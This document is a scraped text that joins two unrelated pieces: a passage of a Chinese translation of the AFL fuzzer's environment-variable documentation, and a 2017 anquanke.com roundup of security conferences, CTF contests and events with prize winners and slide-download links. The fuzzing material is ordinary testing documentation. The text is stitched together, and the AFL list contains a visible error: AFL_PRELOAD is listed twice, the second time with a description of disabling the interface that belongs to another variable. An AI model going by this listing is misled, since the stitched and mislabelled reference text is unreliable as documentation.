* `AFL_NO_BUILTIN`：此环境变量使编译器生成适合与`libtokencap.so`一起使用的代码(但运行速度可能比没有此环境变量时慢一些)。
* `TMPDIR`：此环境变量被`afl-as`用于存放临时文件；如果未设置此变量，则默认为`/tmp`。
* `AFL_KEEP_ASSEMBLY`：当此环境变量被设置，`afl-as`将保留其生成的中间文件。这有助于解决问题或了解该工具的工作原理。要将它们置于可获取的位置，请尝试以下操作：
mkdir assembly_here
TMPDIR=$PWD/assembly_here AFL_KEEP_ASSEMBLY=1 make clean all
* `AFL_QUIET`：当此环境变量被设置，`afl-cc`和`afl-as`的`banner`将不在编译期间显示，以防您被它们分散注意力。
### 2.2. `afl-clang-fast`相关的设置
`native LLVM`检测工具可以使用接受`2.1`中讨论的环境变量，但以下变量除外：
* `AFL_AS`：因为`afl-clang-fast`不直接调用`GNU as`。
* `TMPDIR`、`AFL_KEEP_ASSEMBLY`：因为`afl-clang-fast`没有创建临时程序集文件。
请注意， `AFL_INST_RATIO`这个环境变量的效果与`afl-gcc`的行为略有不同，因为函数本来就不是无条件地被检测，因此此环境变量被设置为低值将产生更显着的效果。对于此工具，`0`不是有效选择。
### 2.3. `afl-fuzz`相关的设置
这个工具接受多个环境变量，这些变量将禁用一些完整性检查或更改该工具的一些奇特的语义：
* `AFL_SKIP_CPUFREQ`：此环境变量被设置会跳过`CPU`扩展策略的检查。如果您无法更改其策略的默认值(例如，没有对系统的`root`访问权限)并且可以承受一些性能损失，这将非常有用。
* `AFL_NO_FORKSRV`：此环境变量被设置会禁用`forkserver`优化，此优化将在为每个输入样本进行`fork + execve()`调用。这在使用不守规矩的库时非常有用，这些库在初始化时创建线程或做其他疯狂的事情(在`fuzzer`运行之前）。请注意，此设置会禁止在启动`forkserver`时通常会进行的一些用户友好的诊断，并导致相当显着的性能下降。
* `AFL_EXIT_WHEN_DONE`：此环境变量被设置会导致`afl-fuzz`在所有现有路径都被模糊化并且一段时间内没有新发现时终止。这通常由`UI`中的循环计数器是否变为绿色来指示。此变量对于某些类型的自动化作业可能很方便。
* `AFL_NO_AFFINITY`：此环境变量被设置会禁止实例尝试绑定到`Linux`系统上的特定`CPU 内核`。这会减慢速度，但可以让您运行更多的`afl-fuzz`实例(如果您真的想要这么做的话)。
* `AFL_SKIP_CRASHES`：此环境变量被设置会导致`AFL`忽略输入队列中导致程序崩溃的文件。这可以帮助解决程序仅间歇性崩溃的罕见情况，但在正常操作条件下并不真正推荐这样做。
* `AFL_HANG_TMOUT`：此环境变量允许您指定超时时间用以确定特定测试用例是否“挂起”。默认值为`1`秒或`-t`参数的值，以较大者为准。如果您非常担心缓慢的输入，或者如果您不希望`AFL`花费太多时间对这些输入进行分类，而只是快速地将所有超时输入该测试目标中，则将值调低可能会很有用。
* `AFL_NO_ARITH`：此环境变量被设置会导致`AFL`跳过大多数确定性算术过程。这对于加速基于文件格式为文本的模糊测试很有用。
* `AFL_SHUFFLE_QUEUE`：此环境变量被设置会导致`AFL`在启动时随机重新排序输入队列。一些用户要求进行非正统的并行模糊测试设置，但不建议这样做。
* `AFL_SKIP_BIN_CHECK`：在基于`afl-fuzz`开发自定义检测工具时，您可以使用此环境变量来禁止对非检测二进制文件和 shell 脚本的检查.此选项和`AFL_DUMB_FORKSRV`与`-n`一起设置时，`afl-fuzz` 仍然遵循`forkserver`协议，而不期望任何检测数据返回。
* `AFL_IMPORT_FIRST`：在`-M`或`-S`模式下运行时，设置此环境变量会导致`fuzzer`在执行任何其他操作之前从其他实例导入测试用例。这使得实时反馈中的`own finds`计数器更加准确。除了反美学之外，没有什么改变。
* `AFL_POST_LIBRARY`：设置此环境变量允许您为变异文件配置后处理器。例如，修复校验和。有关更多信息，请参阅`experimental/post_library/`。
* `AFL_FAST_CAL`：设置此环境变量将导致校准阶段加速并保持大约`2.5`倍的速度(尽管此时精度较低)，这在针对慢速目标开始检测时会有所帮助。
* `AFL_NO_CPU_RED`：屏幕底部显示的`CPU`小部件相当简单，可能会过早地警告您的设备处于高负载模式，尤其是在内核数量较少的系统上。设置此环境变量将使其不再显示为令人紧张的红色。
* `AFL_PATH`：在`QEMU`模式(`-Q`)中，将在此环境变量中搜索`afl-qemu-trace`。
* `AFL_PRELOAD`：此环境变量被设置会导致`AFL`为目标二进制文件设置`LD_PRELOAD`而不会中断`afl-fuzz`进程本身。这对于引导 `libdislocator.so`非常有用。
* `AFL_PRELOAD`：此环境变量被设置会导致`AFL`的`GUI`被禁用，终端中只是定期打印一些基本统计信息。当`afl-fuzz`的输出被重定向到文件或管道时，也会自动触发此行为。
* `AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES`：如果您是`Jakub`，您可能需要设置此环境变量，其他用户无需设置。
* `AFL_BENCH_JUST_ONE`：仅基准测试，此环境变量被设置会导致`AFL`在处理第一个队列条目后退出。
* `AFL_BENCH_UNTIL_CRASH`：仅基准测试，此环境变量被设置会导致`AFL`在发现第一次崩溃后很快退出。
### 2.4. `afl-qemu-trace`相关的设置
用于检测纯二进制文件的`QEMU`包装器支持多种环境变量：
* `AFL_INST_RATIO`：此环境变量被设置将跳过一些基本块上的检测，这在处理非常复杂的二进制文件时很有用。
* `AFL_INST_LIBS`：此环境变量被设置将会导致转译器也检测任何动态链接库(特别是包括`glibc`)中的代码。
* 底层`QEMU`二进制文件将识别任何标准的用户空间模拟变量(例如，`QEMU_STACK_SIZE`)。
### 2.5. `afl-cmin`相关的设置
语料库最小化攻击提供很少的可定制性：
* `AFL_PATH`：此环境变量用于指定`afl-showmap`和`afl-qemu-trace`位置(后者仅在`-Q`模式下)。
* `AFL_KEEP_TRACES`：此环境变量被设置将会导致该工具保留用于最小化并通常在退出时删除的跟踪数据和其他元数据。这些文件可以在`<out_dir>/.traces/*`中找到。
* `AFL_ALLOW_TMP`：此环境变量被设置将会导致该工具允许此脚本和其他一些脚本在`/tmp`中运行。这对于具有流氓用户的多用户系统来说是一个适度的安全风险，但在专用的模糊测试机器上应该是安全的。
### 2.6. `afl-tmin`相关的设置
此工具几乎没有什么可设置的。
* `AFL_PATH`：在`QEMU`模式(`-Q`)中，将在此环境变量中搜索`afl-qemu-trace`。
* `TMPDIR`：如果无法在当前工作目录中创建临时文件，则可以使用此环境变量。
* `AFL_TMIN_EXACT`：如果您希望`afl-tmin`在最小化崩溃文件时要求执行路径匹配，您可以指定此环境变量。这将使最小化的效率大幅减低，但可能会阻止工具在非常有缺陷的软件中从一个崩溃条件“跳”到另一个崩溃条件。您可能希望将它与`-e`标志结合使用。
### 2.7. `afl-analyze`相关的设置
* `AFL_ANALYZE_HEX`：您可以设置此环境变量以将获取的文件偏移量以十六进制而不是十进制的方式打印。
### 2.8. `libdislocator.so`相关的设置
此库文件有四个环境变量可被设置：
* `AFL_LD_LIMIT_MB`：此环境变量指定定了库允许的最大堆空间使用的大小，以兆字节为单位。默认值为`1 GB`。一旦超过，分配将返回`NULL`。
* `AFL_LD_HARD_FAIL`：此环境变量通过在过度分配时调用`abort()`来改变内存分配行为，从而导致`AFL`认为是崩溃。这对于应该保持特定内存占用的程序很有用。
* `AFL_LD_VERBOSE`：此环境变量使库输出一些诊断消息，这些消息可能有助于查明任何观察到的问题的原因。
* `AFL_LD_NO_CALLOC_OVER`：此环境变量在`calloc()`溢出时禁止`abort()`调用。大多数常见的分配器会在内部进行检查并返回 `NULL`，因此只有在更奇特的设置中才会存在安全风险。
### 2.9. `afl-fuzz`等工具主动设置的变量
afl-fuzz 不直接解析以下几个变量，但如果环境中尚不存在，则将其设置为最佳值：
* 默认情况下，`LD_BIND_NOW`将被设置，这是为了通过强制链接器在`fork`服务器启动之前完成所有工作来加速模糊测试。您可以通过预先设置`LD_BIND_LAZY`来覆盖它，但这几乎可以肯定是毫无意义的。
* 默认情况下，`ASAN_OPTIONS`设置为：
abort_on_error=1
detect_leaks=0
symbolize=0
allocator_may_return_null=1
如果您想设置自己的选项，请确保包含`abort_on_error=1`。否则，模糊器将无法检测到测试目标中的崩溃动作。类似地，请确保包含`symbolize=0`，因为没有它，`AFL`可能难以分辨崩溃和挂起。
* 默认情况下，`MSAN_OPTIONS`设置为：
exit_code=86 (出于遗留原因必须设置)
abort_on_error=1
symbolize=0
msan_track_origins=0
allocator_may_return_null=1
在自定义任何内容时务必包括第一个，因为某些`MSAN`版本不会在出错时调用`abort()`，我们需要一种检测故障的方法。 | 社区文章 |
# 中奖名单公布 | 安全圈活动大盘点（内附干货大补丸）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2017年马上就要结束了，这一年，安全圈在拉斯维加斯、北京、温哥华、东京、上海等地举办了大大小小近百场安全会议，安全客对BlackHat **、**
ISC、KCON等等大型会议均进行了图文直播。在此，我们整理了一份详细的清单，看看今年你到底错过了哪些重要的会议？
**参与文末的留言活动，获取新年大礼吧~**
## 中奖名单公布
感谢大家一直以来对安全客的大力支持，同时也恭喜下面这些小伙伴获奖~
**用户ID:[s3cnothy](https://www.anquanke.com/member/128837)
、[noodoo](https://www.anquanke.com/member/129340)、[sakura](https://www.anquanke.com/member/123763)、[zhangll3821](https://www.anquanke.com/member/116322)、[广岛秋泽](https://www.anquanke.com/member/120939)、[FTKahZModan](https://www.anquanke.com/member/127147)、[Captain_X](https://www.anquanke.com/member/129327)**
## 2017PPT十全大补丸
在介绍会议之前，我们贴心得为大家准备了2017年的PPT十全大补分享链接，涵盖ISC、KCON、CSS等多个安全会议的PPT，吃此一丸，必能助力各位在2018技术精进！
链接: **<https://pan.baidu.com/s/1cwe230>**
密码: **c3qp**
## Part 1. 国际会议
**CanSecWest 2017：<https://cansecwest.com/>**
**时间：2017.3.5 地点：加拿大**
CanSecWest，世界上最先进的应用数字安全会议，给行业的名人创建一个宽松的环境，促进社交和合作。
图：360Sky-go Team在CanSecWest上进行演讲
相关报道： **[世界冠军亮相CanSecWest国际峰会
360安全战队获邀演讲](https://www.anquanke.com/post/id/85742)**
PPT分享：[
**https://cansecwest.com/csw17archive.html**](https://cansecwest.com/csw17archive.html)
**Hitb 2017：<http://conference.hitb.org/hitbsecconf2017ams/>**
**时间：2017.4.10 地点：荷兰**
Hack in the Box
（HITBSecConf）每年在马来西亚吉隆坡以及荷兰的阿姆斯特丹举办的信息安全会议。每一届会议都包含一个两天的培训课程，探索下一代信息安全领域问题，以及一个两天的由著名行业领袖带来的多论坛会议。
**BlackHat 2017：<http://www.blackhat.com/us-17/>**
**时间：2017.7.23 地点：拉斯维加斯**
“黑帽”安全技术大会是一个具有很强技术性的信息安全会议，会议将引领安全思想和技术的走向，参会人员包括各个企业和政府的研究人员，甚至还有一些民间团队。
****
相关报道：
**[Blackhat&DEFCON，黑客云集赌城拉斯维加斯（PPT分享）](https://www.anquanke.com/post/id/86530)**
PPT分享： **<http://pan.baidu.com/s/1nvuowVf> ** 密码：ce1k
**Defcon 2017：<https://www.defcon.org/>**
**时间：2017.7.28 地点：拉斯维加斯**
DefCon黑客大会，又称电脑黑客秘密大派对，举办地位于美国的拉斯维加斯，每年有超过7000名黑客和安全专家参加这一聚会。
相关报道：
**[Blackhat&DEFCON，黑客云集赌城拉斯维加斯（PPT分享）](https://www.anquanke.com/post/id/86530)**
**SysCan360：<http://www.syscan360.org/>**
**时间：2017.9.11 地点：北京**
SyScan360国际前瞻信息安全会议由中国第一大互联网安全公司—360公司与SyScan前瞻信息安全技术年会共同举办。大会邀请世界各地优秀互联网安全专家分享最新信息安全研究成果，呈现亚洲信息安全需求的演讲课题，发表最新国际安全消息。
相关报道： **[2017 SyScan360（北京）](https://www.anquanke.com/post/id/86811)**
**Pacsec 2017：<https://pacsec.jp/>**
**时间：2017.11.1 地点：日本**
PacSec会议为外国专家提供了一个接触日本创新和市场的机会，并就计算机安全问题的实际解决方案进行合作。在英语和日语双语翻译的轻松环境中，杰出的技术人员可以进行社交和参加培训课程。
**POC 2017**
**时间：2017.11.9 地点：韩国**
2006年开始创办的 POC
是韩国历史最悠久的黑客大会。这是一个由韩国黑客与安全专家共同举办的世界性技术交流会，10年的办会历史已经让POC成为了安全圈里最“年长”的大会之一。
**Black Hat Europe 2017：<http://www.blackhat.com/eu-17/>**
**时间：2017.12.4 地点：英国伦敦**
Black Hat Europe 2017 是一个致力于信息安全技术专题的国际会议，内容包括未来的信息安全，新的安全趋势和实践培训。
**Hitcon 2017：<https://hitcon.org/2017/pacific/>**
**时间：2017.12.7 地** **点：台北**
台湾骇客年会，让骇客们有机会与大家分享最新与最深入的技术。今年 HITCON Pacific 的主题是 Cyber Force
Awakens。呼吁政府、企业乃至于公民等各界取得数位资产的主动权，建立网路力量与资安产业生态系。并邀请国内外专家从资安技术、政策与法规面，探讨数位国土所面临的威胁与防御，为听众带来国际最新的资安观点及因应对策。
## Part 2. 国际比赛
**WCTF：<http://ctf.360.cn/>**
**时间：2017.6.27 地点：北京**
世界黑客大师赛(Belluminar Beijing)是360Vulcan Team同PoC
Security共同主办的国际CTF赛事，目的是为国内引入最高水平的安全竞赛，给国内的安全社区和安全研究人员一次同国际一流安全大师同台竞技、面对面交流的机会。2016
WCTF，“韩国神童”Lokihardt带领的KeyResolve韩美联合战队拿下本届冠军，夺得5万美元高额奖金。
相关报道：[ **WCTF世界黑客大师赛赛后分享会，战斗吧少年团！**](https://www.anquanke.com/post/id/86355)
**Defcon CTF：[ https://legitbs.net/](https://legitbs.net/)**
**时间：2017.7.28 地点：拉斯维加斯**
由DefCon黑客大会主办方举办的CTF比赛，是标志性的世界最高等级CTF夺旗赛。今年Defcon
CTF比赛，由国内知名战队蓝莲花与0ops联合组建的战队b1o0p战队斩获Defcon CTF全球总决赛第二名，刷新了Defcon CTF中国排名。
相关报道： **[黑客“世界杯”DEFCON CTF
2017，美国PPP战队再夺冠！](https://www.anquanke.com/post/id/86544)**
**XCTF：<https://www.xctf.org.cn/>**
**时间：9月12日总决赛 地点：多城市线上**
XCTF联赛全称XCTF国际网络安全技术对抗联赛。XCTF联赛旨在发现和培养网络安全技术人才的竞赛活动。2017XCTF，本次大赛由国际知名战队蓝莲花（Blue-Lotus）命题，知名安全企业赛宁网安为唯一竞赛平台支持单位。中国知名战队FlappyPig荣耀夺冠。
相关报道：
**[第三届XCTF总决赛华丽落幕，新赛季开启揭幕战落地武汉！](https://www.anquanke.com/post/id/86846)**
**GeekPwn 2017：<http://2017.geekpwn.org/1024/zh/index.html>**
**时间：2017.10.24 地点：上海**
GeekPwn由国内顶尖信息安全团队碁震（KEEN）于2014年发起并主办，是全球首个关注智能生活的安全极客（黑客）赛事平台。2017
年，极棒继续探索人工智能的安全问题，保留“无所不 PWN” 的报名规则和比赛形式，增设专项“人工智能安全挑战赛”。
相关报道： **[2017年GeekPwn嘉年华 – 上海站](http://bobao.360.cn/live/detail/33)**
**Pwn2Own2017**
**时间：2017.3.18 地点：加拿大**
Pwn2Own由美国五角大楼网络安全服务商ZDI主办，今年是历届以来比赛项目最多、奖金最高、参赛团队规模最庞大的一次，共有来自美国、德国和中国的11支团队参加，针对微软、谷歌、苹果、Adobe和VMware等巨头的最新产品进行破解，总积分最高的团队会获得由比赛官方颁发的“世界破解大师”冠军奖杯。
来自中国的360安全战队以总积分63分排名Pwn2Own官方积分榜榜首，成功加冕“Master of
Pwn”（世界破解大师）总冠军，代表中国在网络攻防最高水平的对决中登上世界之巅。
相关报道： **[世界黑客大赛中国夺冠
360荣获Pwn2Own2017总冠军](https://www.anquanke.com/post/id/85729)**
**Mobile Pwn2Own 2017**
**时间：2017.11.1 地点：日本**
Pwn2Own是全世界最著名、奖金最丰厚的黑客大赛，本届移动Pwn2Own黑客大会是Trend Micro Zero Day计划的一部分，Zero
Day计划特地提供安全人员奖励，想要获得奖励，需要找到苹果、Google、三星和华为等公司系统软件的漏洞。本次比赛将由来自北美、欧洲、中国的六组顶尖安全团队，尝试从不同方向破解世界上最受欢迎的四款手机：苹果iPhone
7,谷歌 Pixel, 三星 Galaxy S8, 华为 Mate9 Pro。
经过两天的角逐，本届Pwn2Own正式结束。根据大赛官方公告，各参赛队伍最终排名已出，来自中国的腾讯科恩实验室、360安全团队包揽本次比赛的冠亚军！
相关报道：
**[黑客“世界杯”Pwn2Own2017,中国团队360、腾讯、长亭包揽前三名！](https://www.anquanke.com/post/id/85727)**
## Part 3. 国内会议
**首都网络安全日：<http://www.nic.bjchyedu.cn/zhuanti/>**
**时间：2017.4.26 地点：北京**
为深入贯彻落实中央网络安全与信息化工作座谈会精神，积极推进网络强国建设，推动首都网络安全工作，自2014年起，北京市政府决定将每年的4月29日作为“首都网络安全日”，至今，该系列活动已成功举办了三届。此次活动还将延续“
**网络生活共享，网络安全同担** ”的主题，届时将召开“北京网络与信息安全博览会”，百余家企业参展；同时，业内大腕云集，现场活动精彩纷呈。
相关报道：[
**安全客带您逛逛429首都网络安全日（4.26-4.28）**](https://www.anquanke.com/post/id/85967)
**2017唯品会第二届电商安全峰会**
**时间：2017.5.20 地点：浙江**
本届峰会共邀请到11位来自唯品会内部的一线行业大咖带领现场超400位与会嘉宾，围绕“内、外部产品安全技术、安全产品设计、业务安全、安全监控与响应、安全风控平台、互联网与金融、安全项目管理、威胁情报、信息安全管理与培训”10大议题方向回顾并分享了近一年来唯品会在电商信息安全建设中的诸多实践经验及卓越成果。
相关报道： **[2017唯品会第二届电商安全峰会](https://www.anquanke.com/post/id/86133)**
**第二届MOSEC大会：<http://www.mosec.org/>**
**时间：2017.6.23 地点：上海**
MOSEC移动安全技术峰会始办于2015年，由盘古团队和POC主办，至今已成功举办两届。会议立足于高质量的安全技术，覆盖iOS、Android、Windows三大移动平台，致力于分享移动安全领域前沿性的技术议题及发展趋势，曾创造了15天售空所有入场券的佳绩。峰会高质量的安全技术信息分享，赢得了与会者及业内的一致好评。第三届MOSEC移动安全技术峰会在上海浦东黄浦江畔上海凯宾斯基大酒店大宴会举行。承袭前两届的传统，来自全球的优秀互联网安全专家聚首上海，向世界分享最新安全研究成果。
相关报道： **[MOSEC移动安全技术峰会](https://www.anquanke.com/post/id/86323)**
**2017 网络安全生态峰会：<https://security.alipay.com/sc/afsrc/aliss.htm>**
**时间：2017.6.26 地点：北京**
2017网络安全生态峰会（2017 Internet Security Summit ,简称ISS）
始办于2014年，在中央网信办网安局、工信部网络安全管理局、公安部网络安全保卫局指导下，由中国互联网协会、中国网络空间安全协会、阿里巴巴集团、蚂蚁金服集团联合主办，是国内创办最早、规模最大、嘉宾阵容最强大、安全行业最权威的国际大型安全盛会之一。
相关报道： **[2017网络安全生态峰会（议题PPT分享）](https://www.anquanke.com/post/id/86510)**
**CSS 2017中国互联网安全领袖峰会：[ http://www.thecss.cn/ ](http://www.thecss.cn/)**
**时间：2017.8.15 地点：北京**
中国互联网安全领袖峰会(Cyber Security
Summit，简称CSS)始终倡导国际协同共融，合作分享，是全球首个聚焦互联网产业领域安全生态圈建设平台。
相关报道： **[CSS 2017中国互联网安全领袖峰会（北京）](https://www.anquanke.com/post/id/86614)**
PPT分享链接： **<http://pan.baidu.com/s/1dFrgOEH>** 密码：q5kd
**XCon2017安全焦点信息安全技术峰会：<http://xcon.xfocus.net/>**
**时间：2017.8.23 地点：北京**
XCon安全焦点信息安全技术峰会是国内最知名、最权威、举办规模最大的信息安全会议之一。
相关报道：[ **XCon2017安全焦点信息安全技术峰会（北京）**](https://www.anquanke.com/post/id/86670)
**KCON：<http://kcon.knownsec.com/>**
**时间：2017.8.25 地点：北京**
KCon 是由知道创宇出品的追求干货有趣的黑客大会，旨在给年轻的黑客提供展示自我的机会，力求给每个演讲者打造一个能尽情展示其黑客过程的平台。
相关报道： **[“洞见未来” KCon 2017](https://www.anquanke.com/post/id/86760)**
PPT分享链接: **<https://pan.baidu.com/s/1sl4reaT> ** 密码: tu7n
**ISC2017：<http://isc.360.cn/2017/index.html>**
**时间：2017.9.12 地点：北京**
中国互联网安全大会（ISC）始办于2013年，是亚洲地区信息安全领域最大规模、最专业的年度会议。
相关报道： **[2017互联网安全大会开幕 周鸿祎解析“大安全”时代](https://www.anquanke.com/post/id/86827)
[中国互联网安全精英峰会](https://www.anquanke.com/post/id/86831)
[中国互联网安全领袖峰会](https://www.anquanke.com/post/id/86825)**
**2017第二届SSC安全峰会：<http://seclover.com/>**
**时间：2017.9.25 地点：西安**
SSC(CloverSec Security
Conference)安全峰会是由西安四叶草信息技术有限公司主办的西部安全类大会。第二届SSC安全峰会以“联动创新
智御未来”为主题，围绕“《网络安全法》”实施，以“一带一路”“智慧城市”为发展契机，结合西安高校教育资源优势，凝聚全国优秀的网络安全企业，汇聚全国网络安全专家、行业大咖、网络安全爱好者、高校学生共同聚焦“网络安全”。
相关报道：
**[2017第二届SSC安全峰会：四叶草安全发布云演、宣布完成A轮融资](https://www.anquanke.com/post/id/86937)**
**2017云栖大会：<https://yunqi.aliyun.com/>**
**时间：2017.10.11 地点：杭州**
云栖大会不仅仅是一个简单的会议，而是创新、创业大平台、大数据，折射出一个产业蓬勃兴起的一面，它是一个缩影。
相关报道：[ **2017云栖大会（杭州** ）](https://www.anquanke.com/post/id/86981)
**2017 看雪安全开发者峰会：[
https://www.bagevent.com/event/863807?bag_track=bobao](https://www.bagevent.com/event/863807?bag_track=bobao)**
**时间：2017.11.18 地点：北京**
17年来，看雪论坛在专业安全领域坚韧的发展着，不断有人加入，不断有人分享，技术不断更替，高手也越来越多。十几年来，其他很多安全论坛几乎都已经是昨日黄花，看雪论坛却始终保持活力。蛰伏17年后，看雪继终于发声，将于11月18日在北京举行《安全开发者峰会》,峰会将聚焦开发与安全，旨在以“防”为基准，安全开发为主旨，引导广大企业和开发者关注移动、智能设备、物联网等领域的安全，提高开发和安全技巧，创造出更安全的产品。
相关报道： **[2017 看雪安全开发者峰会](https://www.anquanke.com/post/id/87266)**
**XDef2017 全国网络与信息安全防护峰会：<http://www.xdef.org.cn/xdef2017/>**
**时间：2017.11.23 地点：武汉**
全国网络与信息安全防护峰会（XDef安全峰会）以“对话、交流、合作”为宗旨，以“前沿、实用、人才”为特色，以“攻防兼备”为主题，聚焦探讨网络与信息安全防护热点问题，展现大学生优秀信息安全作品及企业优秀安全产品、发现和聚集优秀信息安全人才，增强交流，以促进国内信息安全力量的密切合作。
相关报道： **[第六届全国网络与信息安全防护峰会（湖北）](https://www.anquanke.com/post/id/87046)**
**2017企业信息安全峰会（上海）**
**时间：2017.11.24 地点：上海**
EISS企业信息安全峰会暨安全+沙龙年会始办于2016年，由安全+沙龙和彰熠咨询联合主办，并得到众多行业协会、机构以及媒体等共同参与支持。大会以“直面信息安全挑战，创造最佳实践”为主题，聚焦企业信息安全技术与实践应用等热点话题，致力于推进企业信息安全体系建设，加强企业信息安全管理，助推企业信息安全生态圈的健康发展。
相关报道： **[2017企业信息安全峰会（上海）](https://www.anquanke.com/post/id/87304)**
**FreeBuf 2018互联网安全创新大会：<http://fit.freebuf.com/> **
**时间：2017.12.14 地点：上海**
大会以“智能引力”为主题，议程聚焦「全球高峰会」、「企业安全工坊」、「X-TECH技术派对」、「HACK DEMO」、「产业创新俱乐部-人工智能安全」、「WitAwards颁奖盛典」，同时新设「白帽LIVE」和「网络•全智慧
安全•新变革：中国首席信息安全官高峰论坛」。此次盛会旨在承2017年度安全行业创新硕果，启2018跨越发展新篇章。
相关报道： **[精彩回顾 | FIT
2018互联网安全创新大会（上海）](https://www.anquanke.com/post/id/87138)**
## Part 4. 国内比赛
**ISW 2017 内网安全攻防对抗战：<http://isw.jeeseen.com/#index>**
**时间：2017.9.4 地点：北京**
大赛秉承全面还原企业真实内网攻防对抗场景的活动理念，向全国各行各业邀请了10支优秀的企业战队组成攻击方，10名经验丰富的企业安全运维人员组成防御方，双方进行超过24小时的攻防对抗，并通过比赛大屏实时向观众展示双方攻防对抗完整过程。
相关报道： **[ISW 2017 内网安全攻防对抗战（北京）](https://www.anquanke.com/post/id/86762)**
**XPwn2017 未来安全探索盛会：[http://xpwn.xfocus.net/ ](http://xpwn.xfocus.net/)**
**时间：2017.9.6 地点：北京**
XPwn未来安全探索盛会是由XCon组委会和北京未来安全信息技术有限公司联合主办的针对智能生活产品安全问题研究成果汇报大会。
自2016年成功举办之后，XPwn2017对安全的研究和探讨有了更高的要求，在发现问题、解决问题之后，我们同样能够在破解突破的同时探索更深层次的技术发展，在突破中进行创新，将技术研究发展到极致，创造更大更多的新价值。我们鼓励研究人员通过对安全问题和漏洞的深入研究和挖掘，进而研究出更好的安全机制和措施，提高安全性能和保障，最终将此项研究成果汇总成《安全白皮书》，为不同安全领域作出卓越贡献！
相关报道： **[XPwn 2017，开创一个安全极智的未来（北京）](https://www.anquanke.com/post/id/86778)**
**HackPwn 2017 ：<http://hackpwn.360.cn/2016/index.html>**
**时间：2017.9.13 地点：北京**
凯文·米特尼克说“勇于挑战智力，就像攀登珠穆朗玛峰一样”。这样的人从不墨守陈规！也不遵循现状！他们桀骜不驯！你可以赞扬或诋毁他们，但不可以轻视他们，你可以认为他们是疯子，但，我们认为他们是天才！只有认为可以改变世界的人才可以改变世界！打破链接，去改变充满未知和未见的万物互联世界。向疯狂的人致敬！HACK
PWN 万物皆可破。
相关报道： **[2017 HACK PWN 破解秀暨物联网安全论坛](https://www.anquanke.com/post/id/86832)**
**首届国际机器人网络安全大赛**
**时间：2017.9.21 地点：武汉**
随着机器学习和大数据处理技术的发展和普及，人工智能的研究及应用进入到一轮新的高潮中。网络空间安全是一个对新技术高度敏感的领域，几年前的震网病毒，和今年的WannaCry勒索病毒的爆发也为我们揭示了网络威胁逐渐呈现自动化、智能化趋势发展，人工智能在网络安全攻防领域的研究迫在眉睫。在2016年美国Defcon大会上，DARPA组织了世界上第一场人工智能攻防大赛CGC（Cyber
Grand Challenge），受到了政府、企业、研究机构和网络安全从业者的广泛关注。
相关报道： **[首届国际机器人网络安全大赛（武汉）](https://www.anquanke.com/post/id/86870)**
## Part 5. 安全派对及颁奖典礼
**XPARTY 2017
**
**时间：2017.1.6 地点：北京**
XParty是一个“黑客”的联欢会,安全圈的年终盛宴。XParty邀请神话导师齐聚一堂。
相关报道：[ **XParty 2017 就在今日，嗨爆黑客星球！**](https://www.anquanke.com/post/id/85309)
**黑客 &摇滚**
**时间：2017.8.18 地点：北京**
一线艺人&黑客大咖聚集，齐贺“摇滚&黑客”演唱会开唱！国内最具代表性的音乐人与国内顶尖安全公司的大咖们纷纷站出来呼吁“关注网络安全”这一话题。
相关报道： **[最酷安全公司知道创宇十周年庆生 “摇滚&黑客”演唱会](https://www.anquanke.com/post/id/86678)**
**京东安全峰会暨2017白帽子颁奖典礼
**
**时间：2017.12.21 地点：北京**
2013年京东正式成立JSRC（京东安全应急响应中心），获得很多白帽子的支持与鼓励，同年举办的电商安全沙龙也得到了行业的认可，第五届京东安全峰会，格物致知，聚力安全，致力于安全本质的探究和极致技术的追求，汇聚行业力量，共建安全生态，探寻安全的未来趋势。
相关报道：[ **精彩回顾 | 京东安全峰会，如约而至**](https://www.anquanke.com/post/id/87263)
**2017滴滴安全大会正式启动，1.12 北京见！**
**时间：2018.1.12 地点：北京**
2017，是科技前行的一年，阿尔法狗战胜世界围棋第一人柯洁，让人工智能水平更进一步。2017，是探索的一年，新引力波的发现，使人们更加的了解宇宙，让更多人知道什么是时空涟漪。2017，也是改变的一年，勒索病毒的全球性爆发，让人们更加的注重网络安全，了解到在这个时代的大环境下，如何做才能更好的保护自己。2017，更是感恩的一年，365个日日夜夜，152名白帽黑客，数十位行业大咖与安全专家，众多的SRC伙伴以及安全媒体，感谢你们这一年来对我们的支持、鼓励与帮助。正是因为有了你们的存在，才能让滴滴出行，变得更加安全。
相关报道： **[2017滴滴安全大会正式启动，1.12 北京见！](https://www.anquanke.com/post/id/91789)**
**BSRC·2017年度盛典**
**时间：未定 地点：未知**
本届BSRC年度盛典的主题是AI安全。
相关报道： **[什么，BSRC请你去旅游？！](https://www.anquanke.com/post/id/90862)**
## Part 6. 新品发布会
**Janus移动安全威胁数据平台——犇众信息**
**时间：2017.4.25 地点：上海**
Janus，基于国内外第三方应用市场大数据，结合犇众信息盘古实验室的移动应用安全研究经验，与各大安全厂商协同联动，深度挖掘分析应用的安全性及可靠性，帮助用户感知未知威胁及攻击，让移动应用更放心。
相关报道： **[Janus移动安全威胁数据平台产品发布会圆满落幕](https://www.anquanke.com/post/id/85964)**
**Aida——默安科技**
**时间：2017.11.1 地点：北京**
针对愈加复杂多变的安全威胁，默安科技推出了云平台安全大脑“Aida”。作为MoreSec
AI的最新研发成果，“Aida”基于深度机器学习算法，主动学习云平台安全架构，收集攻击情报，建立访问者信誉库，生成风险策略模型。她全量观测整个云平台体系，实时量化安全威胁，评估并优选防御方案，强化体系化防御能力。
相关报道： **[首个具备自我进化能力的 “安全大脑”面世](https://www.anquanke.com/post/id/87156)**
**极验OnePass新品发布会**
**时间：2017.12.7 地点：上海**
极验联合三大运营商首发OnePass:身份验证解决方案—网关验证。数据网络下为应用提供网关取号认证功能，用户输入手机号后，无需短信验证，自动校验是否与数据网络发送的手机号一致，一致则直接通过。账号体系更安全、用户体验更加，从此告别短信验证。
相关报道： **[极验OnePass新品发布会（上海）](https://www.anquanke.com/post/id/87325)**
## Part 7. 安全沙龙
**2017补天白帽沙龙**
**地点：北京、天津、江西、合肥**
沙龙是由补天漏洞响应平台打造的线下交流学术系列活动。旨在集结行业领袖、技术大牛，通过议题分享与交流探讨的形式，为信息安全从业者和爱好者搭建学习与沟通的平台。通过行业趋势展望、实战经验分享、技术议题讨论等，提升安全从业者及爱好者的技术实力，拓展视野、提升格局、加速成长。为推动技术发展及人才赋能做出努力与贡献。
**2017JSRC安全乌托邦**
**地点：北京、上海、杭州、深圳、成都**
